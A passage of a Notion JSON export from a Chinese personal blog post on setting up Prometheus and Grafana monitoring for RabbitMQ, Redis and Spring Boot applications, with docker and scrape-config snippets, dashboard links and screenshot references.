3,"last_edited_time":1714358537074,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"027a2779-f3df-40b5-a5df-56c2aecc5427":{"value":{"id":"027a2779-f3df-40b5-a5df-56c2aecc5427","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/14191-elasticsearch-overview/",[["a","https://grafana.com/grafana/dashboards/14191-elasticsearch-overview/"]]]]},"created_time":1714358500853,"last_edited_time":1714358530899,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"35e8b848-b87e-4084-bfc1-876115ed44b7":{"value":{"id":"35e8b848-b87e-4084-bfc1-876115ed44b7","type":"sub_header","properties":{"title":[["效果演示"]]},"format":{"copied_from_pointer":{"id":"80b79212-4cff-4c85-8c87-7aa349101d3c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357773976,"last_edited_time":1714357773979,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"80b79212-4cff-4c85-8c87-7aa349101d3c"}},"e171c310-0a44-43e6-9ff7-507a715e6ff9":{"value":{"id":"e171c310-0a44-43e6-9ff7-507a715e6ff9","type":"image","properties":{"size":[["99.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d0bc5283-f59e-4c1f-92de-b91705449f6e/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d0bc5283-f59e-4c1f-92de-b91705449f6e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.47125,"block_preserve_scale":true},"created_time":1714358555349,"last_edited_time":1714358561120,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["d0bc5283-f59e-4c1f-92de-b91705449f6e"]}},"6d42265f-d69f-42fc-b25c-c97141f68c5c":{"value":{"id":"6d42265f-d69f-42fc-b25c-c97141f68c5c","type":"header","properties":{"title":[["RabbitMQ监控"]]},"created_time":1714357770874,"last_edited_time":1714357791057,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"36c15e0f-f27c-4c7f-88e6-354879a50916":{"value":{"id":"36c15e0f-f27c-4c7f-88e6-354879a50916","type":"sub_header","properties":{"title":[["安装"]]},"format":{"copied_from_pointer":{"id":"17da35d3-fabf-4347-a249-75ca79888f1d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357786658,"last_edited_time":1714357786661,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"17da35d3-fabf-4347-a249-75ca79888f1d"}},"f930b150-339e-489d-a05e-6baf6ff0b5c2":{"value":{"id":"f930b150-339e-489d-a05e-6baf6ff0b5c2","type":"code","properties":{"title":[["#主要就会是暴露15692\ndocker run -d \\\n--privileged \\\n-p 5672:5672 -p 15672:15672 -p 15692:15692 \\\n--name rabbitmq \\\n--restart=always \\\n-v /home/docker/rabbitmq/data:/var/lib/rabbitmq \\\nrabbitmq:3.9.0-management\n\n#进入容器,启用插件\nrabbitmq-plugins enable rabbitmq_prometheus"]],"language":[["Bash"]]},"created_time":1714358579565,"last_edited_time":1714358646435,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"f4511d6a-8d39-4c09-b95a-089a046ee694":{"value":{"id":"f4511d6a-8d39-4c09-b95a-089a046ee694","type":"sub_header","properties":{"title":[["监控配置"]]},"format":{"copied_from_pointer":{"id":"8bc8561f-0c08-43fd-9e42-4eb200a2d0d4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357786658,"last_edited_time":1714358650584,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"8bc8561f-0c08-43fd-9e42-4eb200a2d0d4"}},"6b5e0430-15ab-4602-8ed7-dd273dfa97a5":{"value":{"id":"6b5e0430-15ab-4602-8ed7-dd273dfa97a5","type":"code","properties":{"title":[["#抓取配置\nscrape_configs:\n\n #mq监控\n - job_name: \"rabbitmq\"\n metrics_path: \"/metrics\"\n static_configs:\n - targets: [ \"localhost:15692\" ]"]],"language":[["Bash"]]},"created_time":1714358654417,"last_edited_time":1714358684742,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"c5636880-d0fd-491e-bb23-0896b0380c0e":{"value":{"id":"c5636880-d0fd-491e-bb23-0896b0380c0e","type":"sub_header","properties":{"title":[["监控大盘"]]},"format":{"copied_from_pointer":{"id":"0fd52db6-a4c2-46dd-ad6d-6028aa3c7199","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357786659,"last_edited_time":1714357786661,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"0fd52db6-a4c2-46dd-ad6d-6028aa3c7199"}},"33b8cbd3-c763-490a-b42c-4c843c603e04":{"value":{"id":"33b8cbd3-c763-490a-b42c-4c843c603e04","type":"text","properties":{"title":[["登陆grafana新建看板导入"]]},"created_time":1714358660644,"last_edited_time":1714358660784,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"3c68d9fa-6791-451b-8e52-1bf91edc6617":{"value":{"id":"3c68d9fa-6791-451b-8e52-1bf91edc6617","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/10991-rabbitmq-overview/",[["a","https://grafana.com/grafana/dashboards/10991-rabbitmq-overview/"]]]]},"created_time":1714358711630,"last_edited_time":1714358711632,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"1f99486c-5634-42b2-a458-2ec829ffc137":{"value":{"id":"1f99486c-5634-42b2-a458-2ec829ffc137","type":"sub_header","properties":{"title":[["效果演示"]]},"format":{"copied_from_pointer":{"id":"35e8b848-b87e-4084-bfc1-876115ed44b7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357786659,"last_edited_time":1714357786661,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"35e8b848-b87e-4084-bfc1-876115ed44b7"}},"3e80896e-0a23-410c-b6fa-8d2e6ce8c193":{"value":{"id":"3e80896e-0a23-410c-b6fa-8d2e6ce8c193","type":"image","properties":{"size":[["221.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/60f9250b-8cbf-43e8-80ab-b50af593ce66/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/60f9250b-8cbf-43e8-80ab-b50af593ce66/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4611076540136901,"block_preserve_scale":true},"created_time":1714358740220,"last_edited_time":1714358747089,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["60f9250b-8cbf-43e8-80ab-b50af593ce66"]}},"b5005611-87a8-4b47-964f-0b987e8733d0":{"value":{"id":"b5005611-87a8-4b47-964f-0b987e8733d0","type":"text","created_time":1714357771116,"last_edited_time":1714357771116,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"1c99a773-db6b-49a2-8162-b281c53821ab":{"value":{"id":"1c99a773-db6b-49a2-8162-b281c53821ab","type":"header","properties":{"title":[["Redis监控"]]},"format":{"copied_from_pointer":{"id":"6d42265f-d69f-42fc-b25c-c97141f68c5c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357794040,"last_edited_time":1714357796698,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"6d42265f-d69f-42fc-b25c-c97141f68c5c"}},"94a442ee-95ff-4dbf-a93d-6148bf62aadd":{"value":{"id":"94a442ee-95ff-4dbf-a93d-6148bf62aadd","type":"sub_header","properties":{"title":[["安装"]]},"format":{"copied_from_pointer":{"id":"36c15e0f-f27c-4c7f-88e6-354879a50916","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357794040,"last_edited_time":1714357794044,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"36c15e0f-f27c-4c7f-88e6-354879a50916"}},"e0668d99-7d64-4c96-96ca-c646a4d1c3a5":{"value":{"id":"e0668d99-7d64-4c96-96ca-c646a4d1c3a5","type":"code","properties":{"title":[["#在grafana管理页面\n#连接#数据源\n#添加redis数据源即可\n#无需监控配置"]],"language":[["Bash"]]},"created_time":1714358766420,"last_edited_time":1714358828900,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"d94e7984-1f85-41fd-a39d-d8b4bf610112":{"value":{"id":"d94e7984-1f85-41fd-a39d-d8b4bf610112","type":"sub_header","properties":{"title":[["监控大盘"]]},"format":{"copied_from_pointer":{"id":"c5636880-d0fd-491e-bb23-0896b0380c0e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357794040,"last_edited_time":1714357794044,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"c5636880-d0fd-491e-bb23-0896b0380c0e"}},"f5e710b9-b7cd-43e6-ae82-27312f8d32db":{"value":{"id":"f5e710b9-b7cd-43e6-ae82-27312f8d32db","type":"text","properties":{"title":[["登陆grafana新建看板导入"]]},"created_time":1714358875855,"last_edited_time":1714358875973,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"b630e880-53cb-4fcb-8d41-24fb28d44fe1":{"value":{"id":"b630e880-53cb-4fcb-8d41-24fb28d44fe1","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/11835-redis-dashboard-for-prometheus-redis-exporter-helm-stable-redis-ha/",[["a","https://grafana.com/grafana/dashboards/11835-redis-dashboard-for-prometheus-redis-exporter-helm-stable-redis-ha/"]]]]},"created_time":1714358831994,"last_edited_time":1714358941420,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"4cab7fe6-1a22-45a6-9afc-5e99d59904ab":{"value":{"id":"4cab7fe6-1a22-45a6-9afc-5e99d59904ab","type":"sub_header","properties":{"title":[["效果演示"]]},"format":{"copied_from_pointer":{"id":"1f99486c-5634-42b2-a458-2ec829ffc137","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357794041,"last_edited_time":1714357794044,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"1f99486c-5634-42b2-a458-2ec829ffc137"}},"7479cf9a-00fe-4b79-896e-8686cb6c73ec":{"value":{"id":"7479cf9a-00fe-4b79-896e-8686cb6c73ec","type":"image","properties":{"size":[["218.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/785f0abb-0af5-41d0-af9a-74c4f3570fe6/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/785f0abb-0af5-41d0-af9a-74c4f3570fe6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.48900062853551224,"block_preserve_scale":true},"created_time":1714358942546,"last_edited_time":1714358949537,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["785f0abb-0af5-41d0-af9a-74c4f3570fe6"]}},"7ac320e8-67d2-4fcf-af42-6c5ba1d53a94":{"value":{"id":"7ac320e8-67d2-4fcf-af42-6c5ba1d53a94","type":"header","properties":{"title":[["Java应用监控"]]},"created_time":1714357771225,"last_edited_time":1714357808125,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"c21e4cb1-d2f3-41fd-a528-b913ea005200":{"value":{"id":"c21e4cb1-d2f3-41fd-a528-b913ea005200","type":"sub_header","properties":{"title":[["安装"]]},"format":{"copied_from_pointer":{"id":"94a442ee-95ff-4dbf-a93d-6148bf62aadd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357800111,"last_edited_time":1714357800113,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"94a442ee-95ff-4dbf-a93d-6148bf62aadd"}},"01f5aa56-fd34-410f-b68b-b086a88990ef":{"value":{"id":"01f5aa56-fd34-410f-b68b-b086a88990ef","type":"code","properties":{"title":[["#pom导入\n\n io.micrometer\n micrometer-registry-prometheus\n\n\n#yml配置\nmanagement:\n endpoints:\n web:\n exposure:\n include: \"*\"\n endpoint:\n health:\n show-details: ALWAYS"]],"language":[["Bash"]]},"created_time":1714358968021,"last_edited_time":1714359144306,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"9bb8c601-4f4a-462b-b08a-a7dbb78dd26c":{"value":{"id":"9bb8c601-4f4a-462b-b08a-a7dbb78dd26c","type":"sub_header","properties":{"title":[["监控配置"]]},"format":{"copied_from_pointer":{"id":"9a405c41-2dfb-4a85-bd25-ae722ab7a413","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357800111,"last_edited_time":1714357800113,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"9a405c41-2dfb-4a85-bd25-ae722ab7a413"}},"a565f9bb-778f-424c-9f86-623b694dfd72":{"value":{"id":"a565f9bb-778f-424c-9f86-623b694dfd72","type":"code","properties":{"title":[["#抓取配置\nscrape_configs:\n\n #Java程序监控\n - job_name: service\n metrics_path: \"/actuator/prometheus\"\n static_configs:\n\n - targets: [\"localhost:8090\"]\n labels:\n application: applciation1\n\n - targets: [\"localhost:9999\"]\n labels:\n application: applciation2"]],"language":[["Bash"]]},"created_time":1714359202340,"last_edited_time":1714359212150,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"aafa9b5d-3144-4e80-80ae-a1a529df4b21":{"value":{"id":"aafa9b5d-3144-4e80-80ae-a1a529df4b21","type":"sub_header","properties":{"title":[["监控大盘"]]},"format":{"copied_from_pointer":{"id":"d94e7984-1f85-41fd-a39d-d8b4bf610112","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357800111,"last_edited_time":1714357800113,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"d94e7984-1f85-41fd-a39d-d8b4bf610112"}},"6d876b90-9dcf-4819-a948-f997679ddd3c":{"value":{"id":"6d876b90-9dcf-4819-a948-f997679ddd3c","type":"text","properties":{"title":[["登陆grafana新建看板导入"]]},"created_time":1714359223058,"last_edited_time":1714359223249,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"14386953-383d-4144-aa0d-6b7ac3a44885":{"value":{"id":"14386953-383d-4144-aa0d-6b7ac3a44885","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/4701-jvm-micrometer/",[["a","https://grafana.com/grafana/dashboards/4701-jvm-micrometer/"]]]]},"format":{"copied_from_pointer":{"id":"b630e880-53cb-4fcb-8d41-24fb28d44fe1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714359223246,"last_edited_time":1714359252785,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"b630e880-53cb-4fcb-8d41-24fb28d44fe1"}},"4063fbe1-c817-4b31-9a65-35ecedfb9047":{"value":{"id":"4063fbe1-c817-4b31-9a65-35ecedfb9047","type":"text","properties":{"title":[["https://grafana.com/grafana/dashboards/12900-springboot-apm-dashboard/",[["a","https://grafana.com/grafana/dashboards/12900-springboot-apm-dashboard/"]]]]},"created_time":1714359254238,"last_edited_time":1714359274189,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"d77377f6-dca1-4258-bf15-f9c6dfb10dc9":{"value":{"id":"d77377f6-dca1-4258-bf15-f9c6dfb10dc9","type":"sub_header","properties":{"title":[["效果演示"]]},"format":{"copied_from_pointer":{"id":"4cab7fe6-1a22-45a6-9afc-5e99d59904ab","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714357800111,"last_edited_time":1714357800113,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"4cab7fe6-1a22-45a6-9afc-5e99d59904ab"}},"3083a532-ef0d-4d53-bc4f-e490f664151f":{"value":{"id":"3083a532-ef0d-4d53-bc4f-e490f664151f","type":"image","properties":{"size":[["128.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/bc60ea7a-e3b3-4a7a-9993-a626320a2cd8/Untitled.png"]]},"format":{"block_width":1597,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/bc60ea7a-e3b3-4a7a-9993-a626320a2cd8/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4865372573575454,"block_preserve_scale":true},"created_time":1714359294466,"last_edited_time":1714359298517,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["bc60ea7a-e3b3-4a7a-9993-a626320a2cd8"]}},"1e4da820-a9c9-43c8-8fea-6edd49af31e2":{"value":{"id":"1e4da820-a9c9-43c8-8fea-6edd49af31e2","type":"image","properties":{"size":[["130.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b1161974-233e-4b25-850e-bb0217ef3bc2/Untitled.png"]]},"format":{"block_width":1595,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b1161974-233e-4b25-850e-bb0217ef3bc2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4808777429467085,"block_preserve_scale":true},"created_time":1714359309250,"last_edited_time":1714359312675,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"file_ids":["b1161974-233e-4b25-850e-bb0217ef3bc2"]}},"dc87ab2a-f7d3-4ee3-97aa-a97ba8b2aa71":{"value":{"id":"dc87ab2a-f7d3-4ee3-97aa-a97ba8b2aa71","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1714359319276,"last_edited_time":1714359319276,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true}},"a99b008d-367c-43cb-8b24-0e986211cb99":{"value":{"id":"a99b008d-367c-43cb-8b24-0e986211cb99","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"0a7bacbe-fb2f-44fd-8465-e7cff4d2db30":{"value":{"id":"0a7bacbe-fb2f-44fd-8465-e7cff4d2db30","type":"column_list","content":["34ce5c3a-576c-4a66-8c9b-549eb98cf0ac","69674afc-806c-494a-90fe-12df9c04baf8","af5020c7-58c9-4b15-869b-8ef1ab5824d6"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"d9324d95-aad8-4d76-8266-4f770ccccd58":{"value":{"id":"d9324d95-aad8-4d76-8266-4f770ccccd58","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"146219e7-c178-4485-b223-22f4b977333c","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"34ce5c3a-576c-4a66-8c9b-549eb98cf0ac":{"value":{"id":"34ce5c3a-576c-4a66-8c9b-549eb98cf0ac","type":"column","content":["4242a662-e9b1-4469-8fe3-8cab4ac0b1b9"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"0a7bacbe-fb2f-44fd-8465-e7cff4d2db30","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"69674afc-806c-494a-90fe-12df9c04baf8":{"value":{"id":"69674afc-806c-494a-90fe-12df9c04baf8","type":"column","content":["dc18e400-7fe0-48ea-b5c6-dbc172c3c868","95dfb762-4e6c-4b0a-a99a-0124a767954a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"0a7bacbe-fb2f-44fd-8465-e7cff4d2db30","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"af5020c7-58c9-4b15-869b-8ef1ab5824d6":{"value":{"id":"af5020c7-58c9-4b15-869b-8ef1ab5824d6","type":"column","content":["23e09323-731a-4d4a-95f5-e1003fc276ab"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"0a7bacbe-fb2f-44fd-8465-e7cff4d2db30","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"4242a662-e9b1-4469-8fe3-8cab4ac0b1b9":{"value":{"id":"4242a662-e9b1-4469-8fe3-8cab4ac0b1b9","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"34ce5c3a-576c-4a66-8c9b-549eb98cf0ac","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"dc18e400-7fe0-48ea-b5c6-dbc172c3c868":{"value":{"id":"dc18e400-7fe0-48ea-b5c6-dbc172c3c868","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"69674afc-806c-494a-90fe-12df9c04baf8","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"95dfb762-4e6c-4b0a-a99a-0124a767954a":{"value":{"id":"95dfb762-4e6c-4b0a-a99a-0124a767954a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1713077803632,"last_edited_time":1713077803632,"parent_id":"69674afc-806c-494a-90fe-12df9c04baf8","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"23e09323-731a-4d4a-95f5-e1003fc276ab":{"value":{"id":"23e09323-731a-4d4a-95f5-e1003fc276ab","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1713077803633,"last_edited_time":1713077803633,"parent_id":"af5020c7-58c9-4b15-869b-8ef1ab5824d6","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"g